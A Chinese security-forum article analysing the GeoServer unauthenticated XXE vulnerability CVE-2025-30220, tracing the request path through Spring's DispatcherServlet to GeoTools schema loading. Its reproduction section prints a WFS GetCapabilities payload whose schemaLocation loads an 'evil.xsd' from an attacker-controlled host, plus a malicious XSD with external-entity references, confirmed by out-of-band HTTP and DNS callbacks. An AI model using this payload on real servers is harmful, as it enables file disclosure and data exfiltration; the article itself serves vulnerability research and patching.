问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Geoserver未授权XXE(CVE-2025-30220)漏洞代码分析
Geoserver未授权XXE(CVE-2025-30220)漏洞代码分析及复现
环境搭建 ==== <https://geoserver.org/release/2.27.0/> 去官网下载bin执行文件,并添加debug模式,也就是把下面的代码加到start.sh中就可以 ```php JAVA_OPTS="" JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" export JAVA_OPTS ``` 漏洞成因 ==== Geoserver未能正确处理GeoTools中的XML输入中的XSD引用,导致攻击者可以通过构造恶意的XSD文件,并远程进行加载,从而执行恶意操作。 漏洞分析 ==== 路由与功能点分析 -------- 首先还是先来分析一下他的路由,其实在环境搭建好,进入主页面的时候就可以发现他是进行了一个跳转的操作的,可以看到他源码的`index.html`中重定向到了web/路由。  因为是Geoserver是使用Servlet进行前后端交互的,直接到web.xml中查看他的规则。 首先是他的路由规则,他是通过Spring MVC的`org.springframework.web.servlet.DispatcherServlet`来进行GeoServer的请求分发的,这个Servlet会接收所以的Web请求,并根据Spring上下文定义的URL映射将请求分发给对应的控制器。  然后是他的业务逻辑  这里通过`contextConfigLocation`的上下文参数来指定配置文件位置,这里是`applicationContext.xml`文件和`applicationSecurityContext.xml`文件,这俩个文件一个是用于业务逻辑定义,另一个是用于安全设置,通过对这几个文件的搜索可以来进行业务逻辑判断。 然后这个文件里还有一些其他的功能的Listener和Filter,比如`GeoServerContextLoaderListener`负责加载和初始化上下文,这些就不一一分析了。 直接看`org.springframework.web.servlet.DispatcherServlet`类当中的doDispatch方法。  这个方法是所有Web请求的入口点,负责将处理器和拦截器链与Web请求相匹配,这里重点分析其中的`getHandler`方法。 ```php protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception { if (this.handlerMappings != null) { Iterator var2 = this.handlerMappings.iterator(); while(var2.hasNext()) { HandlerMapping mapping = (HandlerMapping)var2.next(); HandlerExecutionChain handler = mapping.getHandler(request); if (handler != null) { return handler; } } } return null; } ``` 这个方法会根据传入的`HttpServletRequest`来找到对应的`HandlerExecutionChain`,并返回可以处理该请求的处理器和拦截器链。其中`handlerMappings`是在初始化时从Spring的上下文中查找并收集的所有`HandlerMaping`Bean,随后回到`doDispatch`。 当返回了相应的处理器和拦截器链之后,在`doDispatch`方法中将会执行handle方法,在这里会将控制权交给实际的业务逻辑处理器,从而进入实际的业务逻辑。 漏洞点分析 ----- 这个漏洞的触发点在`org.geotools.xsd.Schemas`类,这里从`org.geotools.xsd.impl.ParserHandler#loadSchemas`方法开始看。  这个方法是用于处理XSD文件的一个方法,其核心功能点在于根据XML 实例文档中提供的模式位置信息,加载所有相关的 XSD 文件,并构建一个可用于验证和查询的模式索引,其中`schemas[i / 2] = Schemas.parse(location, locators, resolvers, uriHandlers);`是用于处理 XSD文档加载并解析的一段代码。 跟进这个`parse`方法  这里主要是创建了一个ResouceSet,并将传入的参数注册到这个ResourceSet中,以便在后面的解析中使用。 然后再跟进到下一个`parse`方法  这个方法接收一个URL字符串(location)以及在上一个方法中配置过的ResoutceSet,并对XSD文档进行解析和加载。 这里要需要注意的有两个地方一个是对`location`的处理,这里对`location`进行了一系列处理操作,然后就将其加入了ResoutceSet中,并且没有对ResoutceSet有什么过滤的操作。 第二点就是触发点`xsdMainResource.load(in, options);`这里会执行XML解析,也就是触发点。 debug验证以及细节分析 ------------- 知道了漏洞点以及路由规则现在开始构造payload并对其中的细节进行一些分析。 首先就是payload应该怎么构造,可以查看一下他的[用户手册](https://docs.geoserver.org/stable/en/user/services/wfs/reference.html#getpropertyvalue)。  可以看到`GetCapablits`这一操作,这个操作会向`WFS capabilities`服务器发送请求,以获取该服务器支持的操作和服务或功能列表,重点看`schemaLocation`这一参数,这个参数指定XML文档所使用的XML Schema文件的位置,这个参数的第一个值为命名空间,第二值是该命名空间内需要加载的XSD文件。 这是一个服务器请求的操作,并且会远程加载指定的XSD文件,很自然的想到可以进行XXE攻击,我们将加载的XSD文件换成自己构造的恶意XSD就可以进行恶意请求,构造payload。 ```php <wfs:GetCapabilities service="WFS" version="1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://192.168.24.1:8080 http://192.168.24.1:8080/evil.xsd"> </wfs:GetCapabilities> ``` 构造的恶意.xsd文件如下 ```php <?xml version="1.0" encoding="UTF-8"?> %dtd; %all; ]> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:gml="http://www.opengis.net/gml" xmlns:sf="http://www.openplans.org/spearfish" elementFormDefault="qualified" targetNamespace="http://www.openplans.org/spearfish"> <xsd:import namespace="http://www.opengis.net/gml" schemaLocation="http://schemas.opengis.net/gml/3.1.1/base/gml.xsd" /> <xsd:complexType name="archsitesType"> <xsd:annotation> <xsd:documentation>&xxe;</xsd:documentation> </xsd:annotation> <xsd:sequence> <xsd:element name="the_geom" type="gml:PointPropertyType" /> <xsd:element name="cat" type="xsd:long" /> <xsd:element name="str1" type="xsd:string" /> </xsd:sequence> </xsd:complexType> <xsd:element name="archsites" type="sf:archsitesType" /> </xsd:schema> ``` wfs、wcs、wms那些路由都可以,发包。  首先会被DispatcherServlet拦截进行路由以及业务逻辑处理器分配  然后进入Dispatch,在这里进行请求处理,以及服务识别操作。  其中的service方法就是用于服务识别的  这里会识别出服务的类型是什么,并且在后续会根据识别出的服务类型进行执行操作,也就是dispatch方法。 随后进入`parseRequestXML()` 这个处理XML类型的数据的方法  随后一直跳转到`startElement`中调用`loadSchemas`方法的地方。  到了`loadSchemas`方法就和之前漏洞点分析的差不多了,通过调用`parse`方法一直到解析XML的地方。   至此分析完毕 漏洞验证 ==== 发送请求  本地起http服务被请求  dns服务器被请求  漏洞修复 ==== 厂商已发出新版本修复漏洞,更新至最新版本 <https://github.com/geoserver/geoserver/releases/tag/2.27.1>
发表于 2025-06-24 09:00:01
阅读 ( 293 )
分类:
CMS
0 推荐
收藏
0 条评论
请先
登录
后评论
follycat
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!